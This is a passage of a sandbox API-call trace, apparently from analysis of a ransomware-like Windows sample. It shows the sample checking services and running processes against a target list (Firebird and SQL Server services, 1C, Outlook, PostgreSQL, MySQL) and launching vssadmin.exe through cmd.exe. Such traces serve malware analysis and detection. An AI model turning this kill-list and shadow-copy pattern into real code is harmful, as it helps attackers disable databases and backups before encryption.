[0048.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0048.512] lstrlenW (lpString="UxSms") returned 5 [0048.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0048.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0048.512] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0048.512] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0048.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0048.512] lstrlenW (lpString="WdiServiceHost") returned 14 [0048.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0048.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0048.512] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0048.512] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0048.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0048.513] lstrlenW (lpString="WdiSystemHost") returned 13 [0048.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0048.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0048.513] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0048.513] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0048.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0048.513] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0048.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0048.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0048.513] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0048.513] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0048.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0048.513] lstrlenW (lpString="Winmgmt") returned 7 [0048.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0048.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0048.513] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0048.513] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0048.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0048.513] lstrlenW (lpString="WPDBusEnum") returned 10 [0048.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0048.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0048.513] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0048.513] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0048.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0048.513] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a706f0 | out: hHeap=0x6c0000) returned 1 [0048.513] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f8 [0048.515] Process32FirstW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0048.515] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0048.516] lstrlenW (lpString="System") returned 6 [0048.516] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0048.516] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0048.516] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0048.516] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0048.516] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0048.516] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0048.516] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0048.516] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0048.517] lstrlenW (lpString="smss.exe") returned 8 [0048.517] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0048.517] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0048.517] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0048.517] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0048.517] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0048.517] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0048.517] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0048.517] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0048.518] lstrlenW (lpString="csrss.exe") returned 9 [0048.518] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0048.518] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0048.518] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0048.518] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0048.518] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0048.518] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0048.518] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0048.518] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0048.518] lstrlenW (lpString="wininit.exe") returned 11 [0048.518] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0048.518] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0048.518] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0048.518] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0048.518] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0048.518] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0048.518] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0048.518] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0048.519] lstrlenW (lpString="csrss.exe") returned 9 [0048.519] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0048.519] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0048.519] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0048.519] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0048.519] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0048.519] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0048.519] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0048.519] lstrlenW (lpString="winlogon.exe") returned 12 [0048.520] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0048.520] lstrlenW (lpString="services.exe") returned 12 [0048.520] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0048.520] lstrlenW (lpString="lsass.exe") returned 9 [0048.520] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0048.521] lstrlenW (lpString="lsm.exe") returned 7 [0048.521] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.521] lstrlenW (lpString="svchost.exe") returned 11 [0048.521] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.522] lstrlenW (lpString="svchost.exe") returned 11 [0048.522] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.522] lstrlenW (lpString="svchost.exe") returned 11 [0048.522] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.523] lstrlenW (lpString="svchost.exe") returned 11 [0048.523] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.523] lstrlenW (lpString="svchost.exe") returned 11 [0048.523] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0048.524] lstrlenW (lpString="audiodg.exe") returned 11 [0048.524] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.524] lstrlenW (lpString="svchost.exe") returned 11 [0048.524] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.525] lstrlenW (lpString="svchost.exe") returned 11 [0048.525] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0048.525] lstrlenW (lpString="dwm.exe") returned 7 [0048.525] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0048.526] lstrlenW (lpString="explorer.exe") returned 12 [0048.526] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0048.526] lstrlenW (lpString="spoolsv.exe") returned 11 [0048.526] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0048.527] lstrlenW (lpString="taskhost.exe") returned 12 [0048.527] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.527] lstrlenW (lpString="svchost.exe") returned 11 [0048.527] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0048.528] lstrlenW (lpString="taskeng.exe") returned 11 [0048.528] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0048.528] lstrlenW (lpString="taskhost.exe") returned 12 [0048.528] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="br_maintaining.exe")) returned 1 [0048.529] lstrlenW (lpString="br_maintaining.exe") returned 18 [0048.529] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kitsenormous.exe")) returned 1 [0048.529] lstrlenW (lpString="kitsenormous.exe") returned 16 [0048.529] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intermediate-components.exe")) returned 1 [0048.529] lstrlenW (lpString="intermediate-components.exe") returned 27 [0048.529] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eminem_immigration.exe")) returned 1 [0048.530] lstrlenW (lpString="eminem_immigration.exe") returned 22 [0048.530] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp-glenn-elements.exe")) returned 1 [0048.530] lstrlenW (lpString="psp-glenn-elements.exe") returned 22 [0048.530] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stupid.exe")) returned 1 [0048.531] lstrlenW (lpString="stupid.exe") returned 10 [0048.531] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="area_burst_factors.exe")) returned 1 [0048.531] lstrlenW (lpString="area_burst_factors.exe") returned 22 [0048.531] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="addition.exe")) returned 1 [0048.532] lstrlenW (lpString="addition.exe") returned 12 [0048.532] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kept retirement.exe")) returned 1 [0048.532] lstrlenW (lpString="kept retirement.exe") returned 19 [0048.532] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lmmold.exe")) returned 1 [0048.533] lstrlenW (lpString="lmmold.exe") returned 10 [0048.533] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma weighted.exe")) returned 1 [0048.533] lstrlenW (lpString="soma weighted.exe") returned 17 [0048.533] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cartridge donation.exe")) returned 1 [0048.534] lstrlenW (lpString="cartridge donation.exe") returned 22 [0048.534] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="anti.exe")) returned 1 [0048.534] lstrlenW (lpString="anti.exe") returned 8 [0048.534] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cashiersshot.exe")) returned 1 [0048.535] lstrlenW (lpString="cashiersshot.exe") returned 16 [0048.535] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poundfi.exe")) returned 1 [0048.535] lstrlenW (lpString="poundfi.exe") returned 11 [0048.535] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditions_hired.exe")) returned 1 [0048.536] lstrlenW (lpString="conditions_hired.exe") returned 20 [0048.536] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mercedes.exe")) returned 1 [0048.536] lstrlenW (lpString="mercedes.exe") returned 12 [0048.536] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intake ringtones vegetables.exe")) returned 1 [0048.536] lstrlenW (lpString="intake ringtones vegetables.exe") returned 31 [0048.536] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="training_wiring.exe")) returned 1 [0048.537] lstrlenW (lpString="training_wiring.exe") returned 19 [0048.537] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="democratic.exe")) returned 1 [0048.537] lstrlenW (lpString="democratic.exe") returned 14 [0048.537] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soc_housewares_senate.exe")) returned 1 [0048.538] lstrlenW (lpString="soc_housewares_senate.exe") returned 25 [0048.538] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receptors trustees ul.exe")) returned 1 [0048.538] lstrlenW (lpString="receptors trustees ul.exe") returned 25 [0048.538] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="documented.exe")) returned 1 [0048.877] lstrlenW (lpString="documented.exe") returned 14 [0048.881] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0048.887] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0048.887] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0048.887] lstrlenW (lpString="n.exe") returned 5 [0048.887] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa70, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0048.888] lstrlenW (lpString="cmd.exe") returned 7 [0048.888] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0048.888] lstrlenW (lpString="conhost.exe") returned 11 [0048.888] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xa80, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0048.889] lstrlenW (lpString="vssadmin.exe") returned 12 [0048.889] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xa80, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0048.889] CloseHandle (hObject=0x1f8) returned 1 [0048.889] Sleep (dwMilliseconds=0x1f4) [0049.523] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x740060 [0049.523] EnumServicesStatusExW (in: hSCManager=0x740060, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 0 [0049.524] GetLastError () returned 0xea [0049.524] RtlAllocateHeap 